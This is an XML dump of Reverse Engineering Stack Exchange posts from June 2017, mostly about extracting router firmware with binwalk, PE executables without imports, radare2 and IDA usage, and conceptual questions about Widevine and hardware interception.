  <row Id="15666" PostTypeId="1" AcceptedAnswerId="15672" CreationDate="2017-06-25T20:13:05.617" Score="1" ViewCount="1020" Body="&lt;p&gt;I'm trying to reverse engineering my router firmware after reading an interesting article about an hidden backdoor inside router firmwares from a popular company.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Data has been extracted (using raspberry pi b+ spi) directly from flash because there isn't a downloadable firmware around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;partial serial output&#xA;&lt;pre&gt;&lt;code&gt;Start to decompress!&#xA;Booting&#xA;Press 'ESC' to enter BOOT console...&#xA;Ext. phy is not found. &#xA;Boot from NOR/SPI flash&#xA;(c)Copyright Realtek, Inc. 2012&#xA;Project RTL8676S LOADER (LZMA)&#xA;Version 00.01.02a-rc (Nov 13 2014 17:15:26)&#xA;&lt;/pre&gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;binwalk output&#xA;&lt;pre&gt;&lt;code&gt;LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 70744 bytes&#xA;(lots of lines like this one)&lt;/pre&gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;findings&#xA;&lt;pre&gt;&lt;code&gt;0x8000 to 0xE777: bootloader?&#xA;0x10000: rootfs start&#xA;  first 0x13 byte: unknown data (header ?)&#xA;  build date&#xA;  string &quot;router.img&quot;&#xA;  firmware data&lt;/pre&gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think firmware is encrypted. I can't extract bootloader, kernel and rootfs for static analysis. Is it possible to emulate using qemu?&#xA;Fw link: &lt;a href=&quot;https://www.sendspace.com/file/lc8fya&quot; rel=&quot;nofollow noreferrer&quot;&gt;flashimage&lt;/a&gt; pass: fi00&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="20679" LastEditorUserId="20679" LastEditDate="2017-06-26T16:01:26.853" LastActivityDate="2022-05-22T15:28:09.107" Title="Router flash dump unknown filesystem" Tags="|hex|dumping|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15667" PostTypeId="1" CreationDate="2017-06-25T20:53:27.457" Score="3" ViewCount="4803" Body="&lt;p&gt;I need to write a program (in c++), that among other things needs to know all functions of a given PE file. Basically, It's an equivalent of opening a binary with &quot;r2 -A binary_name&quot; and then entering afl command.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do it using radare2 c\c++ API(libr)? If yes, how?&lt;/p&gt;&#xA;" OwnerUserId="20681" LastActivityDate="2017-12-09T16:25:30.493" Title="How to print all functions of a binary using radare2 c/c++ API" Tags="|c++|radare2|api|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15671" PostTypeId="1" CreationDate="2017-06-26T06:02:55.640" Score="12" ViewCount="5654" Body="&lt;p&gt;According to &lt;a href=&quot;https://storage.googleapis.com/wvdocs/Widevine_DRM_Architecture_Overview.pdf&quot; rel=&quot;noreferrer&quot;&gt;this PDF&lt;/a&gt;, Widevine has three security levels. The least secure one, and the one used by Chrome on desktops is level 3 in which all decryption is done outside of a Trusted Execution Environment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But in that case, what stops someone from opening the Widevine Chrome plugin in IDA and following the video data until they get to whatever function that decrypts it and then write their own implementation of Widevine that just saves the output to a file instead of rendering it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The PDF does say that &quot;appropriate measures may be taken to protect the cryptographic information and decrypted content on host operating system,&quot; but things like video games also use various protection systems, but these still get cracked with some effort.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, why hasn't Widevine been cracked yet?&lt;/p&gt;&#xA;" OwnerUserId="20684" LastActivityDate="2018-02-27T00:59:41.440" Title="What makes CDMs such as Widevine hard to reverse engineer?" Tags="|ida|disassembly|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15672" PostTypeId="2" ParentId="15666" CreationDate="2017-06-26T06:34:51.507" Score="3" Body="&lt;p&gt;From what I can see, it appears to be a binary image for a MIPS processor (big endian). The image appears to be loaded at offset 0x80000000. There is a subroutine at 0x80001d70 offset which prints out the initial &quot;Start to decompress!&quot; message at PC 0x80001e38. Hopefully that should get you started.&lt;/p&gt;&#xA;" OwnerUserId="14715" LastActivityDate="2017-06-26T06:34:51.507" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15675" PostTypeId="1" AcceptedAnswerId="15676" CreationDate="2017-06-26T16:42:12.297" Score="1" ViewCount="1266" Body="&lt;p&gt;I was able to download &lt;a href=&quot;http://downloads.linksys.com/downloads/firmware/FW_E1200v2.0.7.005_US_20160713_code.bin&quot; rel=&quot;nofollow noreferrer&quot;&gt;Linksys E1200 router firmware&lt;/a&gt;, which I would like to reverse engineer. I believe it is running some sort of Linux/Unix based firmware and may be running on an ARM CPU. I have run &lt;code&gt;binwalk&lt;/code&gt; against it but I'm not sure what to do next.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the output I get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;32            0x20            TRX firmware header, little endian, image size: 7684096 bytes, CRC32: 0xB533F216, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x14FF20, rootfs offset: 0x0&#xA;60            0x3C            gzip compressed data, maximum compression, has original file name: &quot;piggy&quot;, from Unix, last modified: 2016-07-13 03:17:53&#xA;1376064       0x14FF40        Squashfs filesystem, little endian, non-standard signature, version 3.0, size: 6307458 bytes, 1721 inodes, blocksize: 65536 bytes, created: 2016-07-13 03:23:19&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="20693" LastEditorUserId="18317" LastEditDate="2017-06-26T19:22:22.967" LastActivityDate="2017-06-26T20:36:54.607" Title="Help reverse engineering Linksys E1200 router firmware" Tags="|firmware|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15676" PostTypeId="2" ParentId="15675" CreationDate="2017-06-26T17:32:34.410" Score="1" Body="&lt;p&gt;The next step is extraction of the kernel and squashfs filesystem using the &lt;code&gt;-e&lt;/code&gt; option when using &lt;code&gt;binwalk&lt;/code&gt;. These extracted files can then be further analyzed. Running &lt;code&gt;binwalk&lt;/code&gt; with the &lt;code&gt;-A&lt;/code&gt; option on the bootloader and kernel files will provide clues about the instruction set architecture of the firmware. Performing an entropy scan with &lt;code&gt;-E&lt;/code&gt; can be done to gain insight into the structure of the extracted files and is useful for identifying compressed or encrypted regions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A variety of tools exist for the purpose of squashfs filesystem extraction, such as &lt;a href=&quot;https://github.com/plougher/squashfs-tools&quot; rel=&quot;nofollow noreferrer&quot;&gt;squashfs-tools&lt;/a&gt; and &lt;a href=&quot;https://github.com/devttys0/sasquatch&quot; rel=&quot;nofollow noreferrer&quot;&gt;sasquatch&#xA;&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A good example of the methodology employed in firmware analysis can be found here: &lt;a href=&quot;http://www.devttys0.com/2011/05/reverse-engineering-firmware-linksys-wag120n/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Reverse Engineering Firmware: Linksys WAG120N&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Update after firmware download link was made available:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To ensure that &lt;code&gt;binwalk&lt;/code&gt; can properly extract SquashFS filesystem images, follow these steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Install &lt;code&gt;squashfs-tools&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;sudo apt-get install squashfs-tools&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In ~, clone &lt;code&gt;sasquatch&lt;/code&gt; from github:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;git clone https://github.com/devttys0/sasquatch.git&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In &lt;code&gt;~/sasquatch&lt;/code&gt;, execute &lt;code&gt;build.sh&lt;/code&gt; (check &lt;code&gt;README.md&lt;/code&gt; to make sure all the dependencies are installed)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Also check the version of &lt;code&gt;binwalk&lt;/code&gt; installed locally:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ binwalk&#xA;&#xA;Binwalk v2.1.2b&#xA;Craig Heffner, http://www.binwalk.org&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Extraction&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Compute md5sum of firmware binary:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ md5sum FW_E1200v2.0.7.005_US_20160713_code.bin &#xA;eb3752a5b72ccb0c9a92079fab88663e  FW_E1200v2.0.7.005_US_20160713_code.bin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Run &lt;code&gt;binwalk&lt;/code&gt; signature scan to confirm output:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ binwalk FW_E1200v2.0.7.005_US_20160713_code.bin &#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;32            0x20            TRX firmware header, little endian, image size: 7684096 bytes, CRC32: 0xB533F216, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x14FF20, rootfs offset: 0x0&#xA;60            0x3C            gzip compressed data, maximum compression, has original file name: &quot;piggy&quot;, from Unix, last modified: 2016-07-13 03:17:53&#xA;1376064       0x14FF40        Squashfs filesystem, little endian, non-standard signature, version 3.0, size: 6307458 bytes, 1721 inodes, blocksize: 65536 bytes, created: 2016-07-13 03:23:19&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output appears to match output in the original post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Extraction:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ binwalk -e FW_E1200v2.0.7.005_US_20160713_code.bin &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Files are extracted to directory &lt;code&gt;_FW_E1200v2.0.7.005_US_20160713_code.bin.extracted/&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ file *&#xA;14FF40.squashfs: data&#xA;piggy:           FoxPro FPT, blocks size 0, next free block index 15993608&#xA;squashfs-root:   directory &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Inside &lt;code&gt;squashfs-root&lt;/code&gt; is the extracted filesystem:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ll squashfs-root/&#xA;total 88&#xA;drwxrwxrwx 13 user01 user01  4096 Jul 12  2016 ./&#xA;drwxr-xr-x  3 user01 user01  4096 Jun 26 15:16 ../&#xA;drwxr-xr-x  2 user01 user01  4096 Jul 12  2016 bin/&#xA;drwxr-xr-x  2 user01 user01  4096 Jul 12  2016 dev/&#xA;drwxrwxrwx  4 user01 user01  4096 Jul 12  2016 etc/&#xA;drwxr-xr-x  3 user01 user01  4096 Jul 12  2016 lib/&#xA;drwxr-xr-x  2 user01 user01  4096 Jul 12  2016 mnt/&#xA;drwxr-xr-x  2 user01 user01  4096 Jul 12  2016 proc/&#xA;drwxr-xr-x  2 user01 user01 12288 Jul 12  2016 sbin/&#xA;drwxr-xr-x  2 user01 user01  4096 Jul 12  2016 sys/&#xA;drwxr-xr-x  2 user01 user01  4096 Jul 12  2016 tmp/&#xA;drwxrwxrwx  6 user01 user01  4096 Jul 12  2016 usr/&#xA;lrwxrwxrwx  1 user01 user01     7 Jun 26 15:16 var -&amp;gt; tmp/var&#xA;drwxr-xr-x 32 user01 user01 28672 Jul 12  2016 www/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;piggy&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Running &lt;code&gt;file&lt;/code&gt; against &lt;code&gt;piggy&lt;/code&gt; produces a false positive:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;piggy:           FoxPro FPT, blocks size 0, next free block index 15993608&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Running &lt;code&gt;binwalk&lt;/code&gt; against &lt;code&gt;piggy&lt;/code&gt; suggests that it contains Linux kernel code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ binwalk piggy &#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;2617344       0x27F000        Linux kernel version &quot;2.6.22 (zhang@sw3) (gcc version 4.2.3) #5 Tue Jun 7 18:33:13 HKT 2016&quot;&#xA;2641040       0x284C90        CRC32 polynomial table, little endian&#xA;2656556       0x28892C        CRC32 polynomial table, little endian&#xA;2852300       0x2B85CC        Unix path: /usr/gnemul/riscos/&#xA;2854956       0x2B902C        Unix path: /usr/lib/libc.so.1&#xA;2927975       0x2CAD67        Neighborly text, &quot;NeighborSolicitsts&quot;&#xA;2927999       0x2CAD7F        Neighborly text, &quot;NeighborAdvertisementsmp6OutDestUnreachs&quot;&#xA;2928200       0x2CAE48        Neighborly text, &quot;NeighborSolicitsirects&quot;&#xA;2928228       0x2CAE64        Neighborly text, &quot;NeighborAdvertisementssponses&quot;&#xA;2930275       0x2CB663        Neighborly text, &quot;neighbor %.2x%.2x.%.2x:%.2x:%.2x:%.2x:%.2x:%.2x lost on port %d(%s)(%s)&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;An entropy plot produced by &lt;code&gt;binwalk -EJ piggy&lt;/code&gt; reveals a large contiguous area with an entropy of roughly .68: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/CfR7f.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CfR7f.png&quot; alt=&quot;piggy entropy&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This level of entropy is consistent with what is expected of regions containing object code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We can make an educated guess about what the instruction set architecture of the binary is by running &lt;code&gt;binwalk&lt;/code&gt; with the &lt;code&gt;-A&lt;/code&gt; argument:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;1788          0x6FC           MIPSEL instructions, function epilogue&#xA;2636          0xA4C           MIPSEL instructions, function epilogue&#xA;4540          0x11BC          MIPSEL instructions, function epilogue&#xA;4932          0x1344          MIPSEL instructions, function epilogue&#xA;6092          0x17CC          MIPSEL instructions, function epilogue&#xA;6476          0x194C          MIPSEL instructions, function epilogue&#xA;6952          0x1B28          MIPSEL instructions, function epilogue&#xA;7040          0x1B80          MIPSEL instructions, function epilogue&#xA;8024          0x1F58          MIPSEL instructions, function epilogue&#xA;8392          0x20C8          MIPSEL instructions, function epilogue&#xA;9532          0x253C          MIPSEL instructions, function epilogue&#xA;9840          0x2670          MIPSEL instructions, function epilogue&#xA;12552         0x3108          MIPSEL instructions, function epilogue&#xA;12682         0x318A          MIPS instructions, function epilogue&#xA;12836         0x3224          MIPSEL instructions, function epilogue&#xA;13364         0x3434          MIPSEL instructions, function epilogue&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The ISA is likely MIPS little-endian.&lt;/p&gt;&#xA;" OwnerUserId="18317" LastEditorUserId="18317" LastEditDate="2017-06-26T20:36:54.607" LastActivityDate="2017-06-26T20:36:54.607" CommentCount="17" ContentLicense="CC BY-SA 3.0" />
  <row Id="15681" PostTypeId="1" AcceptedAnswerId="15683" CreationDate="2017-06-26T18:49:30.603" Score="6" ViewCount="3185" Body="&lt;p&gt;All Portable Executable files that I've found with zero imports in the Import Address Table have not functioned. I also know that while .NET files often do not have the typical OS imports, they must still import either &lt;code&gt;_CorExeMain&lt;/code&gt; or &lt;code&gt;RHBinder__ShimExeMain&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly, even packed files, while they will not have the main modules' imports, will still have imports necessary to start and unpack the file. &lt;em&gt;Is it possible for a .exe PE file to have absolutely zero imports but still run and perform any useful function on a machine?&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Please note&lt;/strong&gt;: I am not talking about DLL files which are used by other executables for their function exports. I am talking about a standalone .exe file.&lt;/p&gt;&#xA;" OwnerUserId="18507" LastEditorUserId="2147" LastEditDate="2019-02-28T17:02:07.790" LastActivityDate="2019-02-28T17:02:07.790" Title="Is it possible for a .exe PE file to do something without any imports at all?" Tags="|pe|executable|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="15682" PostTypeId="2" ParentId="15681" CreationDate="2017-06-26T19:35:22.080" Score="7" Body="&lt;pre&gt;&lt;code&gt;void main (void)&#xA;{&#xA;    __asm&#xA;    {&#xA;        retn&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;compiled and linked using &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cl /nologo /W4 /Ox /analyze noimpo.cpp /link /DEBUG:NONE /RELEASE /ENTRY:main /INCREMENTAL:NO /FIXED /SUBSYSTEM:windows /ALIGN:128 /DRIVER&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;will create a working PE file &lt;/p&gt;&#xA;&#xA;&lt;p&gt;**edit ** &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// win 7 sp1 32 bit machine and ewdk 1703 cl.exe&#xA;unsigned long long time = 0xdeadbeefdeadbeef;&#xA;__declspec(naked) void main (void)&#xA;{   &#xA;    __asm&#xA;    {&#xA;        push OFFSET time&#xA;        call ntqst      &#xA;        retn&#xA;    }   &#xA;    ntqst:&#xA;    __asm&#xA;    {&#xA;        mov eax,107h&#xA;        mov edx , 7ffe0300h&#xA;        call dword ptr ds:[edx]&#xA;        retn 4&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;running under debugger to see if it really does some thing useful &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cdb -c &quot;g @$exentry;dq 400380 l1;pc;p;dq 400380 l1;.formats qwo(400380);.time;q&quot; noimpo.exe | grep -i quit -B 16&#xA;&#xA;00400380  deadbeef`deadbeef &amp;lt;----- marker&#xA;&#xA;00400380  01d2ef24`40afa83a &amp;lt;----- actual result&#xA;&#xA;Evaluate expression: &amp;lt; result from .formats &#xA;xxxxxxxxxxxxxxxxxxxxxxxxx&#xA;  Time:             Tue Jun 27 14:33:33.028 2017 &#xA;xxxxxxxxxxxxxxxxxxxxxxxxx&#xA;&#xA;result from .time command&#xA;&#xA;Debug session time: Tue Jun 27 14:33:33.028 2017 &#xA;xxx&#xA;quit:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2017-06-27T09:30:16.780" LastActivityDate="2017-06-27T09:30:16.780" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15683" PostTypeId="2" ParentId="15681" CreationDate="2017-06-26T20:02:12.333" Score="12" Body="&lt;p&gt;Although blabb's answer shows &lt;em&gt;an&lt;/em&gt; executable without any imports, I'm assuming OP was asking about a more functional executable, and not as a theoretical exercise of that level.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can think of four types of reasonable, useable executable file types that may not have any imports:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;An executable that does not require any OS APIs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is somewhat similar to blabb's answer, but coming up with a more realistic example. Coming up with an executable that makes some kind of complex calculation might be an example. Still, this does not seem like the kind of executable OP is looking for.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;An executable that fulfils its function by using the default loaded libraries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Different OSes have different default libraries, and this might not be always possible, but on windows for example &lt;code&gt;ntdll.dll&lt;/code&gt; and &lt;code&gt;kernel32.dll&lt;/code&gt; are always loaded into a process, and additional libraries may also be loaded, depending on PE file flags. Some of this is even done &lt;em&gt;by the kernel&lt;/em&gt; before most of the PE file format (and the import directory specifically) are processed, other libraries are loaded by the loader automatically or by other library dependencies. An executable may use those available APIs without having any imports, however some additional work to manually resolve APIs will be needed. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;An executable that resolves it's own imports based on default loaded libraries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using those available APIs from previously mentioned libraries, an executable can implement it's own API search and even library loading code without actually importing the required APIs. This is what some packers do. Specifically, those implementing their own &lt;code&gt;GetProcAddr&lt;/code&gt; functionality on windows, or using &lt;code&gt;GetProcAddr&lt;/code&gt; and &lt;code&gt;LoadLibrary&lt;/code&gt; to dynamically load APIs with an empty import table.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;An executable that directly implements syscalls to use OS services.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This possibility is the most complex and fragile, as implementing syscalls directly is difficult and may change between OS updates without prior warnings. Basically, most APIs end up with a syscall instruction that transfers control to the kernel, where the requested operation is actually carried out by the kernel. An executable can issues those directly whenever an OS service is required.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2018-06-10T01:36:14.243" LastActivityDate="2018-06-10T01:36:14.243" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="15685" PostTypeId="1" AcceptedAnswerId="15696" CreationDate="2017-06-27T01:26:09.567" Score="2" ViewCount="15057" Body="&lt;p&gt;I'm trying to access the filesystem of the EA2750's firmware. Here is a link to download it &lt;a href=&quot;http://downloads.linksys.com/downloads/firmware/FW_EA2750_1.1.7.172380_prod.img&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://downloads.linksys.com/downloads/firmware/FW_EA2750_1.1.7.172380_prod.img&lt;/a&gt;. The problem is it is an &lt;code&gt;img&lt;/code&gt; file and I'm not exactly sure how to go about trying to access it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the &lt;code&gt;binwalk&lt;/code&gt; signature scan output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ binwalk FW_EA2750_1.1.7.172380_prod.img &#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;0             0x0             uImage header, header size: 64 bytes, header CRC: 0x143599, created: 2016-05-04 16:53:12, image size: 1935492 bytes, Data Address: 0x80000000, Entry Point: 0x8000C2F0, data CRC: 0x57C547E2, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: &quot;Linksys EA2750 Router&quot;&#xA;64            0x40            LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 5956532 bytes&#xA;1966080       0x1E0000        JFFS2 filesystem, little endian&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="20693" LastEditorUserId="18317" LastEditDate="2017-06-27T01:34:12.373" LastActivityDate="2017-06-27T15:20:13.880" Title="Need help extracting JFFS2 filesystem from .img firmware binary" Tags="|binary-analysis|firmware|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15686" PostTypeId="1" AcceptedAnswerId="15688" CreationDate="2017-06-27T05:22:03.283" Score="1" ViewCount="40" Body="&lt;p&gt;I have been thinking about it lately and was wondering if a Man In The Middle attack could be established physically on a motherboard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The goal would be to intercept the signals between two components and to manipulate the signals as well. I assume this could be done through drilling holes in the circuit, and having a separate device bridge a new connection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would this be possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="20698" LastActivityDate="2017-06-27T07:15:35.073" Title="MITM a Connection Between Components on a Motherboard" Tags="|physical-attacks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15687" PostTypeId="2" ParentId="3451" CreationDate="2017-06-27T06:13:49.337" Score="7" Body="&lt;p&gt;I published some tools on github which can do just that: &lt;a href=&quot;https://github.com/nlitsme/pyidbutil&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/nlitsme/pyidbutil&lt;/a&gt; and &lt;a href=&quot;https://github.com/nlitsme/idbutil&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/nlitsme/idbutil&lt;/a&gt;.&#xA;The first is written in python, the second in C++, both have similar functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;pyidbutil&lt;/code&gt; provides the most low level recovery options: using &lt;code&gt;--pagedump&lt;/code&gt; you can dump each page in the file without the need of an intact logical file structure.&lt;/p&gt;&#xA;" OwnerUserId="1842" LastActivityDate="2017-06-27T06:13:49.337" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15688" PostTypeId="2" ParentId="15686" CreationDate="2017-06-27T07:15:35.073" Score="1" Body="&lt;p&gt;I remember seeing a &lt;a href=&quot;https://www.cultofmac.com/316532/this-brute-force-device-can-crack-any-iphones-pin-code/&quot; rel=&quot;nofollow noreferrer&quot;&gt;brute forcing device for iPhones a little while ago&lt;/a&gt;. There is also a device out there for breaking BIOS passwords on certain thinkpads by connecting to an IC of some sort but I can't find the article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although those methods probably differ in some aspects from a MITM attack, the way you describe would seem perfectly valid based on those devices.&lt;/p&gt;&#xA;" OwnerUserId="20700" LastActivityDate="2017-06-27T07:15:35.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15689" PostTypeId="2" ParentId="11438" CreationDate="2017-06-27T07:38:07.627" Score="8" Body="&lt;p&gt;I write this mostly for myself as I'm tired of going thru this over and over again. Here's how you can debug x64 processes on a local machine with IDA Pro:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(1) Create a .bat file with the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;C:\Program Files (x86)\IDA 6.5\dbgsrv\win64_remotex64&quot; -Pnh8sy261&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in this case it's the location of &lt;code&gt;win64_remotex64&lt;/code&gt; or remote debugger and &lt;code&gt;nh8sy261&lt;/code&gt; is just some random password. You pick it. Make sure though not to put any spaces after the &lt;code&gt;-P&lt;/code&gt; parameter and the password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(2) Run batch file from (1) as admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(3) Open 64-bit version of IDA Pro as admin. (File &lt;code&gt;&quot;C:\Program Files (x86)\IDA 6.5\idaq64.exe&quot;&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(4) Pick &lt;code&gt;Go&lt;/code&gt; to work on your own. Then in the blank IDA Pro window, in the menu go to &lt;code&gt;Debugger -&amp;gt; Run -&amp;gt; Remote Windows debugger&lt;/code&gt;. Then in the &lt;code&gt;Application&lt;/code&gt; pick your application with the &lt;code&gt;...&lt;/code&gt; button. Specify debuggee parameters and directory, if needed. Then in the &lt;code&gt;Hostname&lt;/code&gt; add &lt;code&gt;127.0.0.1&lt;/code&gt;, port as &lt;code&gt;23946&lt;/code&gt; and password as what you typed above in the batch file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4EZU5.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4EZU5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also check to &lt;code&gt;Save network settings as default&lt;/code&gt; for later access. Then click OK.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(5) At this point the debugger should load the &lt;code&gt;debuggee&lt;/code&gt; process and you should be able to step through it.&lt;/p&gt;&#xA;" OwnerUserId="14864" LastActivityDate="2017-06-27T07:38:07.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
